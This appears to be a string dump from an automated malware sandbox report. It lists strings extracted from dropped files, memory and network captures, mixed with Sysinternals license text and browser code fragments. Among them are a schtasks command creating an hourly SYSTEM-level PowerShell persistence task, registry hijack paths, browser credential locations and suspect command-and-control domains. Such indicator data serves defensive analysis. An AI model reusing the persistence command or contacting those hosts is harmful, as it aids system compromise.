Ansi based on Dropped File (kokoko.dll.2691425955)
[U\4O5T9g_T
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[uidmk]
Ansi based on Dropped File (psi.dll.1283195511)
[versionmk]
Ansi based on Dropped File (psi.dll.1283195511)
[WFqn<Gu4M!?0NL
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\#c{gv5it
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\$P:~}_[:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\%s:%x
Unicode based on Dropped File (hhhhh.exe.655875088)
\'b7\tab Internet-based services, and \par
Ansi based on Dropped File (hhhhh.exe.655875088)
\'b7\tab make more copies of the software than specified in this agreement or allowed by applicable law, despite this limitation;\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\'b7\tab publish the software for others to copy;\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\'b7\tab rent, lease or lend the software;\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\'b7\tab support services\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\'b7\tab transfer the software or this agreement to any third party; or\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\'b7\tab use the software for commercial software hosting services.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\05(IKi4>
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\2V^r{8=M'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\4ay00%23492\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\??\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
\??^?7??0Q\G?@u?P?TS?1d?
Ansi based on Runtime Data (rundll32.exe )
\\.\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
\\.\Global\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
\\.\PhysicalDrive%d
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\\.\PhysicalDrive0
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
\\.\Scsi%d:
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\b BY USING THE SOFTWARE, YOU ACCEPT THESE TERMS. IF YOU DO NOT ACCEPT THEM, DO NOT USE THE SOFTWARE.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\b EFFET JURIDIQUE.\b0 Le pr\'e9sent contrat d\'e9crit certains droits juridiques. Vous pourriez avoir d'autres droits pr\'e9vus par les lois de votre pays. Le pr\'e9sent contrat ne modifie pas les droits que vous conf\'e8rent les lois de votre pays si celles-ci ne le permettent pas.\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\c[ue;2I`P
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\caps\fs20 2.\tab\fs19 Scope of License\caps0 .\b0 The software is licensed, not sold. This agreement only gives you some rights to use the software. Sysinternals reserves all other rights. Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this agreement. In doing so, you must comply with any technical limitations in the software that only allow you to use it in certain ways. You may not\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\caps\fs20 4.\tab\fs19 Export Restrictions\caps0 .\b0 The software is subject to United States export laws and regulations. You must comply with all domestic and international export laws and regulations that apply to the software. These laws include restrictions on destinations, end users and end use. For additional information, see \cf1\ul www.microsoft.com/exporting <http://www.microsoft.com/exporting>\cf0\ulnone .\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\caps\fs20 5.\tab\fs19 SUPPORT SERVICES.\caps0 \b0 Because this software is \ldblquote as is,\rdblquote we may not provide support services for it.\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\caps\fs20 6.\tab\fs19 Entire Agreement.\b0\caps0 This agreement, and the terms for supplements, updates, Internet-based services and support services that you use, are the entire agreement for the software and support services.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\CK>/dEZJ='
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\Device\Mup
Unicode based on Dropped File (hhhhh.exe.655875088)
\DosDevices\%c:
Unicode based on Dropped File (hhhhh.exe.655875088)
\DosDevices\PROCEXP152
Unicode based on Dropped File (hhhhh.exe.655875088)
\fs20 9.\tab\fs19 Disclaimer of Warranty.\caps0 \caps The software is licensed \ldblquote as-is.\rdblquote You bear the risk of using it. SYSINTERNALS gives no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this agreement cannot change. To the extent permitted under your local laws, SYSINTERNALS excludes the implied warranties of merchantability, fitness for a particular purpose and non-infringement.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\Google\Chrome\User Data\
Unicode based on Dropped File (kokoko.dll.2691425955)
\Jk[2`CrppW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\lang1033 Cette limitation concerne :\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\LogFile.Etl
Unicode based on Dropped File (ttttt.exe.179545488)
\Mozilla\Firefox\
Unicode based on Dropped File (kokoko.dll.2691425955)
\pard\b Please note: As this software is distributed in Quebec, Canada, some of the clauses in this agreement are provided below in French.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\brdrt\brdrs\brdrw10\brsp20 \sb120\sa120 If you comply with these license terms, you have the rights below.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-357\li357\sb120\sa120\tx360\b\fs20 3.\tab\fs19 DOCUMENTATION.\b0 Any person that has valid access to your computer or internal network may copy and use the documentation for your internal, reference purposes.\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-357\li357\sb120\sa120\tx360\caps\fs20 8.\tab\fs19 Legal Effect.\b0\caps0 This agreement describes certain legal rights. You may have other rights under the laws of your country. You may also have rights with respect to the party from whom you acquired the software. This agreement does not change your rights under the laws of your country if the laws of your country do not permit it to do so.\b\caps\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-357\li357\sb120\sa120\tx360\fs20 1.\tab\fs19 INSTALLATION AND USE RIGHTS. \b0 You may install and use any number of copies of the software on your devices.\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-360\li360\sb120\sa120\tx360\fs20 10.\tab\fs19 Limitation on and Exclusion of Remedies and Damages. You can recover from SYSINTERNALS and its suppliers only direct damages up to U.S. $5.00. You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\'b7\tab claims for breach of contract, breach of warranty, guarantee or condition, strict liability, negligence, or other tort to the extent permitted by applicable law.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\'b7\tab reverse engineer, decompile or disassemble the binary versions of the software, except and only to the extent that applicable law expressly permits, despite this limitation;\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\'b7\tab supplements,\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\fs20 b.\tab\fs19 Outside the United States.\b0 If you acquired the software in any other country, the laws of that country apply.\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\tx720\'b7\tab anything related to the software, services, content (including code) on third party Internet sites, or third party programs; and\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\tx720\'b7\tab les r\'e9clamations au titre de violation de contrat ou de garantie, ou au titre de responsabilit\'e9 stricte, de n\'e9gligence ou d'une autre faute dans la limite autoris\'e9e par la loi en vigueur.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\tx720\'b7\tab updates,\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\tx720\b0\'b7\tab work around any technical limitations in the binary versions of the software;\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\tx720\cf0\fs20 a.\tab\fs19 United States.\b0 If you acquired the software in the United States, Washington state law governs the interpretation of this agreement and applies to claims for breach of it, regardless of conflict of laws principles. The laws of the state where you live govern all other claims, including claims under state consumer protection laws, unfair competition laws, and in tort.\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\keepn\fi-360\li360\sb120\sa120\tx360\cf2\b\caps\fs20 7.\tab\fs19 Applicable Law\caps0 .\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\keepn\fi-360\li720\sb120\sa120\tx720\lang1036\'b7\tab tout ce qui est reli\'e9 au logiciel, aux services ou au contenu (y compris le code) figurant sur des sites Internet tiers ou dans des programmes tiers ; et\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\keepn\sb120\sa120\b LIMITATION DES DOMMAGES-INT\'c9R\'caTS ET EXCLUSION DE RESPONSABILIT\'c9 POUR LES DOMMAGES.\b0 Vous pouvez obtenir de Sysinternals et de ses fournisseurs une indemnisation en cas de dommages directs uniquement \'e0 hauteur de 5,00 $ US. Vous ne pouvez pr\'e9tendre \'e0 aucune indemnisation pour les autres dommages, y compris les dommages sp\'e9ciaux, indirects ou accessoires et pertes de b\'e9n\'e9fices.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\lang1033\b0\fs20\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\li357\sb120\sa120\b0\caps0 This limitation applies to\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\li360\sb120\sa120 It also applies even if Sysinternals knew or should have known about the possibility of the damages. The above limitation or exclusion may not apply to you because your country may not allow the exclusion or limitation of incidental, consequential or other damages.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\sb120\sa120 Elle s'applique \'e9galement, m\'eame si Sysinternals connaissait ou devrait conna\'eetre l'\'e9ventualit\'e9 d'un tel dommage. Si votre pays n'autorise pas l'exclusion ou la limitation de responsabilit\'e9 pour les dommages indirects, accessoires ou de quelque nature que ce soit, il se peut que la limitation ou l'exclusion ci-dessus ne s'appliquera pas \'e0 votre \'e9gard.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\sb120\sa120 EXON\'c9RATION DE GARANTIE.\b0 Le logiciel vis\'e9 par une licence est offert \'ab tel quel \'bb. Toute utilisation de ce logiciel est \'e0 votre seule risque et p\'e9ril. Sysinternals n'accorde aucune autre garantie expresse. Vous pouvez b\'e9n\'e9ficier de droits additionnels en vertu du droit local sur la protection dues consommateurs, que ce contrat ne peut modifier. La ou elles sont permises par le droit locale, les garanties implicites de qualit\'e9 marchande, d'ad\'e9quation \'e0 un usage particulier et d'absence de contrefa\'e7on sont exclues.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\sb120\sa120 for this software, unless other terms accompany those items. If so, those terms apply.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\sb120\sa120\b0\fs19 These license terms are an agreement between Sysinternals (a wholly owned subsidiary of Microsoft Corporation) and you. Please read them. They apply to the software you are downloading from Systinternals.com, which includes the media on which you received it, if any. The terms also apply to any Sysinternals\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\sb240\lang1036 Remarque : Ce logiciel \'e9tant distribu\'e9 au Qu\'e9bec, Canada, certaines des clauses dans ce contrat sont fournies ci-dessous en fran\'e7ais.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\prefs.js
Unicode based on Dropped File (kokoko.dll.2691425955)
\REGISTRY\MACHINE
Unicode based on Dropped File (hhhhh.exe.655875088)
\REGISTRY\MACHINE\SOFTWARE\CLASSES
Unicode based on Dropped File (hhhhh.exe.655875088)
\Registry\Machine\System\CurrentControlSet\Control\Class
Unicode based on Dropped File (hhhhh.exe.655875088)
\REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\HARDWARE PROFILES\CURRENT
Unicode based on Dropped File (hhhhh.exe.655875088)
\Registry\Machine\System\CurrentControlSet\Services\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
\REGISTRY\USER
Unicode based on Dropped File (hhhhh.exe.655875088)
\REGISTRY\USER\S
Unicode based on Dropped File (hhhhh.exe.655875088)
\resources.pak
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
\Sessions\1\Windows\ApiPort
Unicode based on Runtime Data (rundll32.exe )
\StringFileInfo\%04x%04x\%s
Unicode based on Dropped File (ttttt.exe.179545488)
\StringFileInfo\%04x%04x\OriginalFilename
Unicode based on Dropped File (kokoko.dll.2691425955)
\System32\LogFiles\WMI\trace.log
Unicode based on Dropped File (ttttt.exe.179545488)
\T#R!{.r@`
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\ThemeApiPort
Unicode based on Runtime Data (rundll32.exe )
\VarFileInfo\Translation
Unicode based on Dropped File (kokoko.dll.2691425955)
\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Unicode based on Dropped File (psi.dll.1283195511)
\WMI\
Unicode based on Dropped File (ttttt.exe.179545488)
\{P)PMw
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
] i(Q!=J48 z
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]%5Vod{m3v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]/4^$UD>8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]51-#Vi1{y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]_5>hc.yo
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]F~{e!mxj
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]iGbtzp(RL
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]KPg}r_h
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]RAS}JADL
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^"j@y'1!@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^2[;178:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^Exa[_F!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^NW(|5.LN
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_!V-T>z*.{Hu2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_-;.[@pA
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_\UNs@.TwV
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_^[]?U??M
Ansi based on Runtime Data (rundll32.exe )
__cfduidd352e486b4ff90bbe46dcda756c890d7f1493314632ourluckysites.com/921616073082883066222238587708830588797*
Ansi based on Runtime Data (QQBrowser.exe )
__wgetmainargs
Ansi based on Dropped File (ttttt.exe.179545488)
_mN<28p6).]o
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_saveExpressions();}_contextMenu(event){var contextMenu=new UI.ContextMenu(event);this._populateContextMenu(contextMenu,event);contextMenu.show();}_populateContextMenu(contextMenu,event){var isEditing=false;for(var watchExpression of this._watchExpressions
Ansi based on Runtime Data (CPK.exe )
_snwprintf
Ansi based on Dropped File (hhhhh.exe.655875088)
_wcsnicmp
Ansi based on Dropped File (hhhhh.exe.655875088)
_wi?(_Sg{
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_y}g\aYSZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_{?@b?-
Ansi based on Runtime Data (rundll32.exe )
_{w(lO#Et
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`)Y#}?\v&
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`\??\Volume{8177f4e4-b53f-11e4-a9c2-806e6f6e6963}
Unicode based on Runtime Data (rundll32.exe )
`\??\Volume{8177f4e5-b53f-11e4-a9c2-806e6f6e6963}
Unicode based on Runtime Data (rundll32.exe )
`local static destructor helper'
Ansi based on Dropped File (kokoko.dll.2691425955)
`local static guard'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`local static thread guard'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`local vftable constructor closure'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`local vftable'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`placement delete[] closure'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`T\^}=H(M
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`y}Y0/\4!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`{C3>ZP:3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
a different color.### AccessibilityAlt attribute should be set to provide adequate context for accessibility. If not provided,it defaults to 'loading'.Empty alt can be provided to mark the element as decorative if alternative content is providedin anot
Ansi based on Runtime Data (CPK.exe )
a&67"b{~]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
a2\(&S;4
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
A?'!i?(??S????_???%??-???
Ansi based on Runtime Data (rundll32.exe )
a??\s:6?p?
Ansi based on Runtime Data (rundll32.exe )
A@,R bm\j+(F
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
acing with Source Guid (enableex/disableex only)
Unicode based on Dropped File (ttttt.exe.179545488)
ackground-image: url(Images/accelerometer-right.png);\n}\n\n.orientation-left::before,\n.orientation-right::before {\n top: -6px;\n transform-origin: center bottom;\n transform: rotateX(26deg);\n background-position: center top;\n}\n\n.orientation-
Ansi based on Runtime Data (CPK.exe )
ad'),restoreAndReload));function restoreAndReload(){Common.settings.clearAll();Components.reload();}}static isSettingVisible(extension){var descriptor=extension.descriptor();if(!('title'in descriptor))return false;if(!('category'in descriptor))return fal
Ansi based on Runtime Data (CPK.exe )
AddRegPath = HKEY_CLASSES_ROOT\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\shell\OpenHomePage\Command
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\OpenHomePage\Command
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_CLASSES_ROOT\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\OpenHomePage\Command
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\OpenHomePage\Command
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\Scripts
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System\Scripts
Ansi based on Dropped File (pc64.cfg)
address family not supported
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
address_family_not_supported
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
age to show when this is hit. */function assertNotReached(opt_message) { assert(false, opt_message || 'Unreachable code hit');}/** * @param {*} value The value to check. * @param {function(new: T, ...)} type A user-defined constructor. * @param {stri
Ansi based on Runtime Data (CPK.exe )
AGetVolumeInforma
Ansi based on Dropped File (kokoko.dll.2691425955)
agS]I}A
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ainer a { color: inherit; text-decoration: underline; } #title-bar { border-bottom: var(--user-manager-separator-line); font-size: 16px; font-weight: 500; padding: 104px 0 16px; } #nameI
Ansi based on Runtime Data (CPK.exe )
AIr{!Z
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
alid Exe Filter arguments.
Unicode based on Dropped File (ttttt.exe.179545488)
als - www.sysinternals.com
Unicode based on Dropped File (hhhhh.exe.655875088)
ame] Updates the [LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
an class="setting-extra-description" i18n-content="hotwordAlwaysOnAudioHistoryDescription"> </span> </div> </div> </div> </section> <section id="sync-users-section" guest-visibility="hidden"> <h3 i
Ansi based on Runtime Data (CPK.exe )
andle [-a] [-u] [-p <processname>|<pid>] [name]
Ansi based on Dropped File (hhhhh.exe.655875088)
andle.exe
Unicode based on Dropped File (hhhhh.exe.655875088)
api.suibianmaimaicom.com
Ansi based on PCAP Processing (PCAP)
argetedBuild){return;}var styleRules=styleUtil.rulesForStyle(e);if(!targetedBuild){styleUtil.forEachRule(styleRules,function(rule){styleTransformer.documentRule(rule);if(settings.useNativeCSSProperties&&!buildType){applyShim.transformRule(rule);}});}if(setti
Ansi based on Runtime Data (CPK.exe )
ASDGQERQTYQW/1.0
Ansi based on PCAP Processing (PCAP)
asHandler:function(command){return!!this._handlers[command];},registerHandler:function(command,handler){this._handlers[command]=handler;},unregisterHandler:function(command){delete this._handlers[command];},nextObjectId:function(){return injectedScriptId.toStr
Ansi based on Runtime Data (CPK.exe )
asks /Run /TN
Ansi based on Dropped File (MIO.dll.1862922135)
assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
At line:1 char:63
Unicode based on Runtime Data (powershell.exe )
At line:1 char:64
Unicode based on Runtime Data (powershell.exe )
ata.getBoolean("allowDeletingHistory")},numberOfItemsSelected_:function(count){return count>0?loadTimeData.getStringF("itemsSelected",count):""},getHistoryInterval_:function(queryStartTime,queryEndTime){return loadTimeData.getStringF("historyInterval",querySta
Ansi based on Runtime Data (CPK.exe )
ation(cm);}};}function LineView(doc,line,lineN){this.line=line;this.rest=visualLineContinued(line);this.size=this.rest?lineNo(lst(this.rest))-lineN+1:1;this.node=this.text=null;this.hidden=lineIsHidden(doc,line);}function buildViewArray(cm,from,to){var arr
Ansi based on Runtime Data (CPK.exe )
Au{E[+Bw|
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ay00%23492:@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
az{(0i"S\}+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
b!01:GrQo
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
bad locale name
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Bad unicode escape sequence in string: four digits expected.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Bad unicode escape sequence in string: hexadecimal digit expected.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Base Class Descriptor at (
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
bhn4ZAmp2Acx2JHpBO50tZvMrE2ny1RHKXA277/bRw8eHCNXX237Sd1C4e6cKceMd2sdI3ydJ31SYXsdYDd1djdyfuwqgt3BoPBCSJjNRFZrzccDtes+vWUUvqJwvr+4XC4Jsxcd4+6+6SUGI1GHD16lAcffJD/4e/8HZaPL3nVWXCSPLTpLB1LbqopZGsQT4aliB5pyaTAtwWQQfAhtJCDqaqRlCtBabBhwnKJIiOLTDfQSOQrTn8czsNIHhUL6J0HO
Ansi based on Runtime Data (CPK.exe )
bind(this));}if(this._delegate)this._delegate.onContextMenu(this.id,contextMenu);contextMenu.show();}_startTabDragging(event){if(event.target.classList.contains('tabbed-pane-close-button'))return false;this._dragStartX=event.pageX;this._tabElement.clas
Ansi based on Runtime Data (CPK.exe )
BiyGo2'B.|{G
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
bles providers for the [LoggerName] session
Unicode based on Dropped File (ttttt.exe.179545488)
bo7?*\)
Ansi based on Runtime Data (rundll32.exe )
BR6002- floating point support not loaded
Unicode based on Dropped File (hhhhh.exe.655875088)
BZ?#\?7??]?58?c??
Ansi based on Runtime Data (rundll32.exe )
c)mk/qU e$s7
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
c/Ll[L>ed
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
C33=123@EFG@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
c:\CPK.pdb
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
C:\sysint\Handle\Release\handle.pdb
Ansi based on Dropped File (hhhhh.exe.655875088)
%LOCALAPPDATA%\Kitty\Kitty.dll
Unicode based on Runtime Data (rundll32.exe )
%APPDATA%\WinSAPSvc\WinSAP.dll
Unicode based on Runtime Data (rundll32.exe )
%TEMP%\psg256B.tmp')
Unicode based on Runtime Data (powershell.exe )
%TEMP%\psg36A2.tmp')
Unicode based on Runtime Data (powershell.exe )
%WINDIR%\
Unicode based on Dropped File (psi.dll.1283195511)
%WINDIR%\system32\apphelp.dll
Unicode based on Runtime Data (rundll32.exe )
%WINDIR%\system32\svchost.exe -k %s%s
Unicode based on Dropped File (kokoko.dll.2691425955)
%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe
Unicode based on Dropped File (psi.dll.1283195511)
C:\winsap_update\CPK.exe
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
C<{-hSYY{3z
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
c>:6M~<]8P
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
c@I/;o-a(I
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
c@xtOw.h=
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
C@}rUOu<sc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
Ansi based on Runtime Data (CPK.exe )
Caller: there was a previous error
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ccc.qwepoii.org
Ansi based on PCAP Processing (PCAP)
ce(){return(self.runtime.sharedInstance(Network.NetworkPanel));}_onWindowChanged(event){var startTime=Math.max(this._calculator.minimumBoundary(),event.data.startTime/1000);var endTime=Math.min(this._calculator.maximumBoundary(),event.data.endTime/1000);this
Ansi based on Runtime Data (CPK.exe )
cess. * @param {boolean} accept Whether to accept this invitation. */ processInvitation: function(invitation, accept) { if (!!this.invitationInProgress_) return; this.invitationInProgress_ = invitation; this.cloudPrintIn
Ansi based on Runtime Data (CPK.exe )
cesses.push(process);}return processes;},getAllCounters:function(){var counters=[];counters.push.apply(counters,tr.b.dictionaryValues(this.device.counters));counters.push.apply(counters,tr.b.dictionaryValues(this.kernel.counters));for(var pid in this.processe
Ansi based on Runtime Data (CPK.exe )
chrome.exe
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
chtasks /Run /TN
Unicode based on Dropped File (psi.dll.1283195511)
classes.push(key); } } return classes.join(' '); } Polymer({ is: 'paper-drawer-panel', behaviors: [Polymer.IronResizableBehavior], /** * Fired when the narrow layout changes.
Ansi based on Runtime Data (CPK.exe )
cli::array<
Ansi based on Dropped File (kokoko.dll.2691425955)
cli::pin_ptr<
Ansi based on Dropped File (kokoko.dll.2691425955)
Close handle %X in %s (PID %d)? (y/n)
Unicode based on Dropped File (hhhhh.exe.655875088)
cloud.firefox1.com
Ansi based on PCAP Processing (PCAP)
cmd /c schtasks /Create /SC HOURLY /MO %d /ST 00:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM" /F /RL HIGHEST
Unicode based on Dropped File (psi.dll.1283195511)
cmd /c schtasks /Create /SC HOURLY /MO 3 /ST 00:37:00 /TN "Windows-PG" /TR "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe %WINDIR%\psgo\psgo.ps1" /RU "SYSTEM" /F /RL HIGHEST
Ansi based on Process Commandline (cmd.exe)
cmd.exe /c scht
Ansi based on Dropped File (MIO.dll.1862922135)
cmd.exe /c schtasks /Run /TN
Unicode based on Dropped File (psi.dll.1283195511)
CnR]:PK{D
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
combase.dll
Unicode based on Dropped File (hhhhh.exe.655875088)
COMDLG32.dll
Ansi based on Dropped File (hhhhh.exe.655875088)
command
Unicode based on Runtime Data (rundll32.exe )
CommandLineToArgvW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
Comments must start with /
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CompleteEvent:function(event){if(event.cat!==undefined&&event.cat.indexOf('trace_event_overhead')>-1)return undefined;var thread=this.model_.getOrCreateProcess(event.pid).getOrCreateThread(event.tid);if(event.flow_out){if(event.flow_in)event.flowPhase=STEP;e
Ansi based on Runtime Data (CPK.exe )
